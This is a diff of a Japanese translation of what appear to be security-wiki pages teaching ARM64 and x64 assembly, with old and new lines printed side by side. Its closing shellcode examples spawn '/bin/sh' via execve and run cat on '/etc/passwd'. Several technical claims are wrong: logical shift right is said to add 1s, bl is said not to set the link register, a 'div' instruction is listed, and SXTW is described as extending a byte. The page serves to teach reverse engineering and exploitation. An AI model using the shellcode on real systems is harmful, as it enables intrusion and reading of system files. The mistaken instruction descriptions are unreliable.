ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opcode`**は実行される**操作**`add``sub``mov`など)、**`dst`**は結果が格納される**宛先**レジスタ、**`src1`**および**`src2`**は**ソース**レジスタです。即時値もソースレジスタの代わりに使用できます。 ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opcode`**は実行される**操作**`add``sub``mov`など)、**`dst`**は結果が格納される**宛先**レジスタ、**`src1`**および**`src2`**は**ソース**レジスタです。即時値もソースレジスタの代わりに使用できます。
- **`mov`**: 1つの**レジスタ**から別のレジスタに値を**移動**します。 - **`mov`**: **値を**1つの**レジスタ**から別のレジスタに**移動**します。
- 例:`mov x0, x1` — これは`x1`から`x0`に値を移動します。 - 例:`mov x0, x1` — これは`x1`から`x0`に値を移動します。
- **`ldr`**: **メモリ**から**レジスタ**に値を**ロード**します。 - **`ldr`**: **メモリ**から**レジスタ**に値を**ロード**します。
- 例:`ldr x0, [x1]` — これは`x1`が指すメモリ位置から`x0`値をロードします。 - 例:`ldr x0, [x1]` — これは`x1`が指すメモリ位置から値を`x0`にロードします。
- **オフセットモード**:元のポインタに影響を与えるオフセットが示されます。例えば: - **オフセットモード**:元のポインタに影響を与えるオフセットが示されます。例えば:
- `ldr x2, [x1, #8]`、これは`x1 + 8`からの値を`x2`にロードします。 - `ldr x2, [x1, #8]`、これは`x1 + 8`からの値を`x2`にロードします。
- `ldr x2, [x0, x1, lsl #2]`、これは配列`x0`から位置`x1`(インデックス)\* 4のオブジェクトを`x2`にロードします。 - `ldr x2, [x0, x1, lsl #2]`、これは配列`x0`から位置`x1`(インデックス)\* 4のオブジェクトを`x2`にロードします。
- **プインデックスモード**:これは元に計算を適用し、結果を取得し、元に新しい元を保存します。 - **プインデックスモード**:これは元に計算を適用し、結果を取得し、元に新しい元を保存します。
- `ldr x2, [x1, #8]!`、これは`x1 + 8``x2`にロードし、`x1``x1 + 8`の結果を保存します。 - `ldr x2, [x1, #8]!`、これは`x1 + 8``x2`にロードし、`x1``x1 + 8`の結果を保存します。
- `str lr, [sp, #-4]!`、リンクレジスタを`sp`に保存し、レジスタ`sp`を更新します。 - `str lr, [sp, #-4]!`、リンクレジスタを`sp`に保存し、レジスタ`sp`を更新します。
- **ポストインデックスモード**:これは前のものと似ていますが、メモリアドレスにアクセスし、その後オフセットが計算されて保存されます。 - **ポストインデックスモード**:これは前のものと似ていますが、メモリアドレスにアクセスし、その後オフセットが計算されて保存されます。
@ -122,7 +122,7 @@ ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opco
- 例:`ldp x0, x1, [x2]` — これは`x2`および`x2 + 8`のメモリ位置から`x0``x1`をロードします。 - 例:`ldp x0, x1, [x2]` — これは`x2`および`x2 + 8`のメモリ位置から`x0``x1`をロードします。
- **`stp`**: **レジスタのペアを保存**します。この命令は**2つのレジスタ**を**連続したメモリ**位置に**保存**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。 - **`stp`**: **レジスタのペアを保存**します。この命令は**2つのレジスタ**を**連続したメモリ**位置に**保存**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。
- 例:`stp x0, x1, [sp]` — これは`sp`および`sp + 8`のメモリ位置に`x0``x1`を保存します。 - 例:`stp x0, x1, [sp]` — これは`sp`および`sp + 8`のメモリ位置に`x0``x1`を保存します。
- `stp x0, x1, [sp, #16]!` — これは`x0`と`x1``sp+16`および`sp + 24`のメモリ位置に保存し、`sp``sp+16`で更新します。 - `stp x0, x1, [sp, #16]!` — これは`sp+16`および`sp + 24`のメモリ位置に`x0``x1`保存し、`sp``sp+16`で更新します。
- **`add`**: 2つのレジスタの値を**加算**し、結果をレジスタに保存します。 - **`add`**: 2つのレジスタの値を**加算**し、結果をレジスタに保存します。
- 構文add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - 構文add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> 宛先 - Xn1 -> 宛先
@ -130,19 +130,19 @@ ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opco
- Xn3 | #imm -> オペランド2レジスタまたは即時 - Xn3 | #imm -> オペランド2レジスタまたは即時
- \[shift #N | RRX] -> シフトを実行するか、RRXを呼び出します。 - \[shift #N | RRX] -> シフトを実行するか、RRXを呼び出します。
- 例:`add x0, x1, x2` — これは`x1``x2`の値を加算し、結果を`x0`に保存します。 - 例:`add x0, x1, x2` — これは`x1``x2`の値を加算し、結果を`x0`に保存します。
- `add x5, x5, #1, lsl #12` — これは4096に等しい1を12回シフ-> 1 0000 0000 0000 0000 - `add x5, x5, #1, lsl #12` — これは4096に等しい1を12回シフ-> 1 0000 0000 0000 0000
- **`adds`** これは`add`を実行し、フラグを更新します。 - **`adds`** これは`add`を実行し、フラグを更新します。
- **`sub`**: 2つのレジスタの値を**減算**し、結果をレジスタに保存します。 - **`sub`**: 2つのレジスタの値を**減算**し、結果をレジスタに保存します。
- **`add`**の**構文**を確認してください。 - **`add`**の**構文**を確認してください。
- 例:`sub x0, x1, x2` — これは`x2`の値を`x1`から引き、結果を`x0`に保存します。 - 例:`sub x0, x1, x2` — これは`x2`の値を`x1`から減算し、結果を`x0`に保存します。
- **`subs`** これは`sub`のようですが、フラグを更新します。 - **`subs`** これは減算のようなもので、フラグを更新します。
- **`mul`**: **2つのレジスタ**の値を**乗算**し、結果をレジスタに保存します。 - **`mul`**: **2つのレジスタ**の値を**乗算**し、結果をレジスタに保存します。
- 例:`mul x0, x1, x2` — これは`x1``x2`の値を乗算し、結果を`x0`に保存します。 - 例:`mul x0, x1, x2` — これは`x1``x2`の値を乗算し、結果を`x0`に保存します。
- **`div`**: 1つのレジスタの値を別のレジスタで割り、結果をレジスタに保存します。 - **`div`**: 1つのレジスタの値を別のレジスタで割り、結果をレジスタに保存します。
- 例:`div x0, x1, x2` — これは`x1`の値を`x2`で割り、結果を`x0`に保存します。 - 例:`div x0, x1, x2` — これは`x1`の値を`x2`で割り、結果を`x0`に保存します。
- **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`** - **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**
- **論理シフト左**末尾から0を追加し、他のビットを前方に移動しますn回2倍 - **論理シフト左**末尾から0を追加し、他のビットを前に移動させますn回2倍
- **論理シフト右**先頭に1を追加し、他のビットを後方に移動します符号なしでn回2で割る - **論理シフト右**先頭に1を追加し、他のビットを後ろに移動させます符号なしでn回2で割る
- **算術シフト右****`lsr`**のように、最上位ビットが1の場合は0を追加するのではなく、1を追加します符号付きでn回2で割る - **算術シフト右****`lsr`**のように、最上位ビットが1の場合は0を追加するのではなく、1を追加します符号付きでn回2で割る
- **右回転****`lsr`**のように、右から削除されたものが左に追加されます。 - **右回転****`lsr`**のように、右から削除されたものが左に追加されます。
- **拡張付き右回転****`ror`**のように、キャリーフラグを「最上位ビット」として使用します。したがって、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。 - **拡張付き右回転****`ror`**のように、キャリーフラグを「最上位ビット」として使用します。したがって、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。
@ -153,40 +153,40 @@ ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opco
- **ビットフィールド抽出と挿入**:レジスタからビットフィールドをコピーし、別のレジスタにコピーします。 - **ビットフィールド抽出と挿入**:レジスタからビットフィールドをコピーし、別のレジスタにコピーします。
- **`BFI X1, X2, #3, #4`** X1の3ビット目からX2の4ビットを挿入します。 - **`BFI X1, X2, #3, #4`** X1の3ビット目からX2の4ビットを挿入します。
- **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、X1にコピーします。 - **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、X1にコピーします。
- **`SBFIZ X1, X2, #3, #4`** X2から4ビットを符号拡張し、右のビットをゼロにしてX1に挿入します。 - **`SBFIZ X1, X2, #3, #4`** X2から4ビットを符号拡張し、ビット位置3からX1に挿入し、右のビットをゼロにします。
- **`SBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、符号拡張してX1に配置します。 - **`SBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出し、符号拡張し、結果をX1に配置します。
- **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、右のビットをゼロにしてX1に挿入します。 - **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、ビット位置3からX1に挿入し、右のビットをゼロにします。
- **`UBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。 - **`UBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。
- **符号拡張Xへの拡張**値の符号を拡張または符号なしバージョンで単に0を追加して、操作を実行できるようにします - **符号拡張Xへの拡張**:値の符号を拡張(または符号なしバージョンで単に0を追加して、操作を実行できるようにします
- **`SXTB X1, W2`** W2からX1にバイトの符号を拡張します`W2``X2`の半分)。 - **`SXTB X1, W2`** W2からX1にバイトの符号を拡張します`W2``X2`の半分)。
- **`SXTH X1, W2`** W2からX1に16ビット数の符号を拡張します。 - **`SXTH X1, W2`** W2から16ビット数の符号を拡張し、X1を64ビットにします。
- **`SXTW X1, W2`** W2からX1にバイトの符号を拡張します。 - **`SXTW X1, W2`** W2からバイトの符号を拡張し、X1を64ビットにします。
- **`UXTB X1, W2`** W2からX1に0を追加符号なしします。 - **`UXTB X1, W2`** W2からX1に0を追加符号なして64ビットにします。
- **`extr`**:指定された**ペアのレジスタを連結**してビットを抽出します。 - **`extr`**:指定された**ペアのレジスタを連結**してビットを抽出します。
- 例:`EXTR W3, W2, W1, #3` これは**W1+W2を連結**し、**W2のビット3からW1のビット3まで**を取得しW3に保存します。 - 例:`EXTR W3, W2, W1, #3` これは**W1+W2を連結**し、**W2のビット3からW1のビット3まで**を取得しW3に保存します。
- **`cmp`**: 2つのレジスタを**比較**し、条件フラグを設定します。これは**`subs`**のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。 - **`cmp`**: **2つのレジスタを比較**し、条件フラグを設定します。これは**`subs`**のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`を知るのに便利です。
- **`subs`**と同じ構文をサポートします。 - **`subs`**と同じ構文をサポートします。
- 例:`cmp x0, x1` — これは`x0``x1`の値を比較し、条件フラグを適切に設定します。 - 例:`cmp x0, x1` — これは`x0``x1`の値を比較し、条件フラグを適切に設定します。
- **`cmn`**: **負の**オペランドを比較します。この場合、これは**`adds`**のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。 - **`cmn`**: **負のオペランドを比較**します。この場合、これは**`adds`**のエイリアスで、同じ構文をサポートします。`m == -n`を知るのに便利です。
- **`ccmp`**: 条件付き比較、これは前の比較が真である場合にのみ実行され、特にnzcvビットを設定します。 - **`ccmp`**: 条件付き比較、これは前の比較が真である場合にのみ実行され、特にnzcvビットを設定します。
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合funcにジャンプします - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合funcにジャンプします
- これは**`ccmp`**が**前の`cmp``NE`**であった場合にのみ実行されるため、そうでない場合はビット`nzcv`が0に設定され`blt`比較を満たさない)、使用できます。 - これは**`ccmp`**が**前の`cmp``NE`であった場合にのみ実行されるため**、そうでない場合はビット`nzcv`が0に設定され`blt`比較を満たさない)、使用できます。
- これは`ccmn`としても使用できます(同じですが負の、`cmp``cmn`のように)。 - これは`ccmn`としても使用できます(同じですが負の、`cmp``cmn`のように)。
- **`tst`**: 比較の値が両方とも1であるかどうかをチェックします結果をどこにも保存せずにANDSのように機能します。これは、レジスタの値と値を比較し、指定された値のビットのいずれかが1であるかどうかを確認するのに便利です。 - **`tst`**: 比較の値のいずれかが1であるかどうかをチェックします結果をどこにも保存せずにANDSのように機能します。これは、レジスタの値をチェックし、指定された値のビットのいずれかが1であるかどうかを確認するのに便利です。
- 例:`tst X1, #7` X1の最後の3ビットのいずれかが1であるかを確認します。 - 例:`tst X1, #7` X1の最後の3ビットのいずれかが1であるかを確認します。
- **`teq`**: 結果を破棄するXOR操作。 - **`teq`**: 結果を破棄するXOR操作。
- **`b`**: 無条件分岐。 - **`b`**: 無条件分岐。
- 例:`b myFunction` - 例:`b myFunction`
- これは戻りアドレスでリンクレジスタを埋めないため(戻る必要があるサブルーチン呼び出しには適していません)。 - これは戻りアドレスでリンクレジスタを埋めないため(戻る必要があるサブルーチン呼び出しには適していません)。
- **`bl`**: **リンク付き分岐****サブルーチン**を**呼び出す**ために使用されます。**戻りアドレスを`x30`に保存**します。 - **`bl`**: **リンク付き分岐**、サブルーチンを**呼び出す**ために使用されます。**戻りアドレスを`x30`に保存**します。
- 例:`bl myFunction` — これは関数`myFunction`を呼び出し、戻りアドレスを`x30`に保存します。 - 例:`bl myFunction` — これは関数`myFunction`を呼び出し、戻りアドレスを`x30`に保存します。
- これは戻りアドレスでリンクレジスタを埋めないため(戻る必要があるサブルーチン呼び出しには適していません)。 - これは戻りアドレスでリンクレジスタを埋めないため(戻る必要があるサブルーチン呼び出しには適していません)。
- **`blr`**: **レジスタへのリンク付き分岐**、ターゲットが**レジスタ**で指定される**サブルーチン**を**呼び出す**ために使用されます。戻りアドレスを`x30`に保存します。 - **`blr`**: **レジスタへのリンク付き分岐**、ターゲットが**レジスタ**で指定されるサブルーチンを**呼び出す**ために使用されます。戻りアドレスを`x30`に保存します。
- 例:`blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に保存します。 - 例:`blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に保存します。
- **`ret`**: **サブルーチンから戻る**、通常は**`x30`**のアドレスを使用します。 - **`ret`**: **サブルーチンから戻る**、通常は**`x30`**のアドレスを使用します。
- 例:`ret` — これは現在のサブルーチンから戻り、`x30`の戻りアドレスを使用します。 - 例:`ret` — これは現在のサブルーチンから戻り、`x30`の戻りアドレスを使用します。
- **`b.<cond>`**: 条件付き分岐。 - **`b.<cond>`**: 条件付き分岐。
- **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいて。 - **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいています
- 例:`b.eq label` — 前の`cmp`命令が2つの等しい値を見つけた場合、これは`label`にジャンプします。 - 例:`b.eq label` — 前の`cmp`命令が2つの等しい値を見つけた場合、これは`label`にジャンプします。
- **`b.ne`**: **等しくない場合に分岐**。この命令は条件フラグをチェックし(前の比較命令によって設定された)、比較された値が等しくない場合、ラベルまたはアドレスに分岐します。 - **`b.ne`**: **等しくない場合に分岐**。この命令は条件フラグをチェックし(前の比較命令によって設定された)、比較された値が等しくない場合、ラベルまたはアドレスに分岐します。
- 例:`cmp x0, x1`命令の後、`b.ne label``x0``x1`の値が等しくない場合、これは`label`にジャンプします。 - 例:`cmp x0, x1`命令の後、`b.ne label``x0``x1`の値が等しくない場合、これは`label`にジャンプします。
@ -210,17 +210,17 @@ ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opco
- `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \<すべて1>、偽の場合、Xd = 0。 - `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \<すべて1>、偽の場合、Xd = 0。
- **`adrp`**: シンボルの**ページアドレスを計算**し、レジスタに保存します。 - **`adrp`**: シンボルの**ページアドレスを計算**し、レジスタに保存します。
- 例:`adrp x0, symbol` — これは`symbol`のページアドレスを計算し、`x0`に保存します。 - 例:`adrp x0, symbol` — これは`symbol`のページアドレスを計算し、`x0`に保存します。
- **`ldrsw`**: **メモリから符号付き**の**32ビット**値を**ロード**し、**64ビットに符号拡張**します。 - **`ldrsw`**: メモリから符号付き**32ビット**値を**ロード**し、**64ビットに符号拡張**します。
- 例:`ldrsw x0, [x1]` — これは`x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に保存します。 - 例:`ldrsw x0, [x1]` — これは`x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に保存します。
- **`stur`**: **レジスタ値をメモリ位置に保存**し、別のレジスタからのオフセットを使用します。 - **`stur`**: **レジスタ値をメモリ位置に保存**し、別のレジスタからのオフセットを使用します。
- 例:`stur x0, [x1, #4]` — これは`x0`の値を`x1`のアドレスから4バイト大きいメモリアドレスに保存します。 - 例:`stur x0, [x1, #4]` — これは`x0`の値を`x1`のアドレスより4バイト大きいメモリアドレスに保存します。
- **`svc`** : **システムコール**を行います。「スーパーバイザコール」を意味します。この命令をプロセッサが実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリの特定の位置にジャンプします。 - **`svc`** : **システムコール**を行います。「スーパーバイザコール」を意味します。この命令をプロセッサが実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリの特定の位置にジャンプします。
- 例: - 例:
```armasm ```armasm
mov x8, 93 ; システムコール番号をレジスタx8にロードしますexitの93 mov x8, 93 ; システムコール番号93をレジスタx8にロードします。
mov x0, 0 ; 戻りステータスコード0をレジスタx0にロードします。 mov x0, 0 ; 終了ステータスコード0をレジスタx0にロードします。
svc 0 ; システムコールを行います。 svc 0 ; システムコールを行います。
``` ```
@ -230,17 +230,17 @@ svc 0 ; システムコールを行います。
```armasm ```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
``` ```
2. **新しいフレームポインタを設定**: `mov x29, sp` (現在の関数のために新しいフレームポインタを設定します) 2. **新しいフレームポインタを設定**: `mov x29, sp` (現在の関数のために新しいフレームポインタを設定)
3. **ローカル変数のためにスタック上にスペースを確保** (必要な場合): `sub sp, sp, <size>` (ここで `<size>` は必要なバイト数です) 3. **ローカル変数のためにスタック上にスペースを割り当てる** (必要な場合): `sub sp, sp, <size>` (ここで `<size>` は必要なバイト数)
### **関数エピローグ** ### **関数エピローグ**
1. **ローカル変数を解放 (もし割り当てられていれば)**: `add sp, sp, <size>` 1. **ローカル変数を解放する (割り当てられている場合)**: `add sp, sp, <size>`
2. **リンクレジスタとフレームポインタを復元**: 2. **リンクレジスタとフレームポインタを復元する**:
```armasm ```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
``` ```
3. **Return**: `ret` (呼び出し元に制御を返すためにリンクレジスタのアドレスを使用) 3. **Return**: `ret` (呼び出し元に制御を返すリンクレジスタのアドレスを使用)
## AARCH32 実行状態 ## AARCH32 実行状態
@ -249,7 +249,7 @@ Armv8-Aは32ビットプログラムの実行をサポートしています。**
64ビットから32ビットへの遷移は、例外レベルの低下とともに発生することに注意してください例えば、EL1の64ビットプログラムがEL0のプログラムをトリガーする場合。これは、`AArch32`プロセススレッドが実行される準備ができたときに**`SPSR_ELx`**特別レジスタの**ビット4を1に設定**することによって行われ、`SPSR_ELx`の残りは**`AArch32`**プログラムのCPSRを格納します。その後、特権プロセスは**`ERET`**命令を呼び出し、プロセッサはCPSRに応じて**`AArch32`**に遷移し、A32またはT32に入ります。\*\* 64ビットから32ビットへの遷移は、例外レベルの低下とともに発生することに注意してください例えば、EL1の64ビットプログラムがEL0のプログラムをトリガーする場合。これは、`AArch32`プロセススレッドが実行される準備ができたときに**`SPSR_ELx`**特別レジスタの**ビット4を1に設定**することによって行われ、`SPSR_ELx`の残りは**`AArch32`**プログラムのCPSRを格納します。その後、特権プロセスは**`ERET`**命令を呼び出し、プロセッサはCPSRに応じて**`AArch32`**に遷移し、A32またはT32に入ります。\*\*
**`interworking`**はCPSRのJビットとTビットを使用して行われます。`J=0`および`T=0`は**`A32`**を意味し、`J=0`および`T=1`は**T32**を意味します。これは基本的に、命令セットがT32であることを示すために**最下位ビットを1に設定**することに相当します。\ **`interworking`**はCPSRのJビットとTビットを使用して行われます。`J=0`および`T=0`は**`A32`**を意味し、`J=0`および`T=1`は**T32**を意味します。これは基本的に、命令セットがT32であることを示すために**最下位ビットを1に設定**することに相当します。\
これは**interworking分岐命令**の間に設定されますが、PCが宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例 これは**interworking分岐命令**に設定されますが、PCが宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例
別の例: 別の例:
```armasm ```armasm
@ -283,7 +283,7 @@ AArch32では、CPSRはAArch64の**`PSTATE`**と似たように機能し、例
フィールドはいくつかのグループに分かれています: フィールドはいくつかのグループに分かれています:
- アプリケーションプログラムステータスレジスタAPSR算術フラグEL0からアクセス可能 - アプリケーションプログラムステータスレジスタAPSR算術フラグで、EL0からアクセス可能
- 実行状態レジスタプロセスの動作OSによって管理される - 実行状態レジスタプロセスの動作OSによって管理される
#### アプリケーションプログラムステータスレジスタAPSR #### アプリケーションプログラムステータスレジスタAPSR
@ -301,7 +301,7 @@ AArch32では、CPSRはAArch64の**`PSTATE`**と似たように機能し、例
- **`J`**および**`T`**ビット:**`J`**は0であるべきで、**`T`**が0の場合は命令セットA32が使用され、1の場合はT32が使用されます。 - **`J`**および**`T`**ビット:**`J`**は0であるべきで、**`T`**が0の場合は命令セットA32が使用され、1の場合はT32が使用されます。
- **ITブロック状態レジスタ**`ITSTATE`これらは10-15および25-26のビットです。これらは**`IT`**接頭辞のグループ内の命令の条件を保存します。 - **ITブロック状態レジスタ**`ITSTATE`これらは10-15および25-26のビットです。これらは**`IT`**接頭辞のグループ内の命令の条件を保存します。
- **`E`**ビット:**エンディアンネス**を示します。 - **`E`**ビット:**エンディアンネス**を示します。
- **モードおよび例外マスクビット**0-4これらは現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット1または64ビット0として実行されているかを示します。他の4つは**現在使用中の例外モード**を表します(例外が発生し、それが処理されているとき)。設定された数は、これが処理されている間に別の例外がトリガーされた場合の**現在の優先度**を示します。 - **モードおよび例外マスクビット**0-4これらは現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット1または64ビット0として実行されているかを示します。他の4つは**現在使用中の例外モード**を表します(例外が発生し、それが処理されているとき)。設定された数は、他の例外がこの処理中にトリガーされた場合の**現在の優先度**を示します。
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS # iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
``` ```
注意してください、**Ida** と **Ghidra** はキャッシュを通過させるだけで **特定の dylibs** をデコンパイルすることもできます。 注意してください、**Ida** と **Ghidra** はキャッシュを渡すだけで **特定の dylibs** をデコンパイルすることもできます。
> [!TIP] > [!TIP]
> 時には **ソースコード** を確認するよりも **`libsystem_kernel.dylib`** の **デコンパイルされた** コードを確認する方が簡単です。なぜなら、いくつかのシステムコールBSD と Machのコードはスクリプトを介して生成されているため(ソースコードのコメントを確認)、dylib では何が呼び出されているかを見つけることができます。 > 時々、**ソースコード** を確認するよりも **`libsystem_kernel.dylib`** の **デコンパイルされた** コードを確認する方が簡単です。なぜなら、いくつかのシステムコールBSD と Machのコードはスクリプトを介して生成されているからです(ソースコードのコメントを確認してください)。一方、dylib では何が呼び出されているかを見つけることができます。
### machdep コール ### machdep コール
@ -336,13 +336,13 @@ XNU はマシン依存の別のタイプのコールをサポートしていま
### comm ページ ### comm ページ
これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマッピングされています。これは、ユーザーモードからカーネル空間への移を、カーネルサービスのためのシステムコールを使用するよりも速くすることを目的としています。この移は非常に非効率的になるためです。 これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマッピングされています。これは、ユーザーモードからカーネル空間への移を、カーネルサービスのためのシステムコールを使用するよりも速くすることを目的としています。この移は非常に非効率的になるためです。
例えば、`gettimeofdate` コールは、comm ページから直接 `timeval` の値を読み取ります。 例えば、`gettimeofdate` コールは、comm ページから直接 `timeval` の値を読み取ります。
### objc_msgSend ### objc_msgSend
この関数は Objective-C または Swift プログラムで非常に一般的に使用されます。この関数は、Objective-C オブジェクトのメソッドを呼び出すことを可能にします。 Objective-C または Swift プログラムでこの関数が使用されているのを見つけるのは非常に一般的です。この関数は、Objective-C オブジェクトのメソッドを呼び出すことを可能にします。
パラメータ([ドキュメントの詳細](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend): パラメータ([ドキュメントの詳細](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend):
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="with adr for linux"}} {{#tab name="Linux用のadr"}}
```armasm ```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh"
#### catで読む #### catで読む
目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数x1はパラメータの配列ですメモリ内ではこれがアドレスのスタックを意味します 目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数 (x1) はパラメータの配列です (メモリ内ではこれがアドレスのスタックを意味します)
```armasm ```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text .section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main .global _main ; Declare a global symbol _main

View File

@ -4,11 +4,11 @@
## **x64の紹介** ## **x64の紹介**
x64、またはx86-64としても知られるこのアーキテクチャは、主にデスクトップおよびサーバーコンピューティングで使用される64ビットプロセッサアーキテクチャです。Intelによって製造されたx86アーキテクチャに由来し、後にAMDによってAMD64という名前で採用され、現在パーソナルコンピュータやサーバーで広く使用されています。 x64、またはx86-64としても知られるこのアーキテクチャは、主にデスクトップおよびサーバーコンピューティングで使用される64ビットプロセッサアーキテクチャです。Intelによって製造されたx86アーキテクチャに由来し、後にAMDによってAMD64という名前で採用され、現在ではパーソナルコンピュータやサーバーで広く使用されています。
### **レジスタ** ### **レジスタ**
x64はx86アーキテクチャを拡張し、**16の汎用レジスタ**を持ち、`rax``rbx``rcx``rdx``rbp``rsp``rsi``rdi`、および`r8`から`r15`までのラベルが付けられています。これらの各レジスタは**64ビット**8バイトの値を格納できます。これらのレジスタには、互換性と特定のタスクのために32ビット、16ビット、8ビットのサブレジスタもあります。 x64はx86アーキテクチャを拡張し、**16の汎用レジスタ**を特徴としています。これらは`rax``rbx``rcx``rdx``rbp``rsp``rsi``rdi`、および`r8`から`r15`までのラベルが付けられています。これらの各レジスタは**64ビット**8バイトの値を格納できます。これらのレジスタには、互換性と特定のタスクのために32ビット、16ビット、8ビットのサブレジスタもあります。
1. **`rax`** - 通常、関数からの**戻り値**に使用されます。 1. **`rax`** - 通常、関数からの**戻り値**に使用されます。
2. **`rbx`** - メモリ操作のための**ベースレジスタ**としてよく使用されます。 2. **`rbx`** - メモリ操作のための**ベースレジスタ**としてよく使用されます。
@ -16,7 +16,7 @@ x64はx86アーキテクチャを拡張し、**16の汎用レジスタ**を持
4. **`rdx`** - 拡張算術演算を含むさまざまな役割で使用されます。 4. **`rdx`** - 拡張算術演算を含むさまざまな役割で使用されます。
5. **`rbp`** - スタックフレームの**ベースポインタ**。 5. **`rbp`** - スタックフレームの**ベースポインタ**。
6. **`rsp`** - **スタックポインタ**、スタックの最上部を追跡します。 6. **`rsp`** - **スタックポインタ**、スタックの最上部を追跡します。
7. **`rsi`****`rdi`** - 文字列/メモリ操作における**ソース**および**宛先**インデックスに使用されます。 7. **`rsi`**および**`rdi`** - 文字列/メモリ操作における**ソース**および**宛先**インデックスに使用されます。
8. **`r8`**から**`r15`** - x64で導入された追加の汎用レジスタ。 8. **`r8`**から**`r15`** - x64で導入された追加の汎用レジスタ。
### **呼び出し規約** ### **呼び出し規約**
@ -26,7 +26,7 @@ x64の呼び出し規約はオペレーティングシステムによって異
- **Windows**: 最初の**4つのパラメータ**はレジスタ**`rcx`**、**`rdx`**、**`r8`**、および**`r9`**に渡されます。さらにパラメータはスタックにプッシュされます。戻り値は**`rax`**にあります。 - **Windows**: 最初の**4つのパラメータ**はレジスタ**`rcx`**、**`rdx`**、**`r8`**、および**`r9`**に渡されます。さらにパラメータはスタックにプッシュされます。戻り値は**`rax`**にあります。
- **System VUNIX系システムで一般的に使用される**: 最初の**6つの整数またはポインタパラメータ**はレジスタ**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、および**`r9`**に渡されます。戻り値も**`rax`**にあります。 - **System VUNIX系システムで一般的に使用される**: 最初の**6つの整数またはポインタパラメータ**はレジスタ**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、および**`r9`**に渡されます。戻り値も**`rax`**にあります。
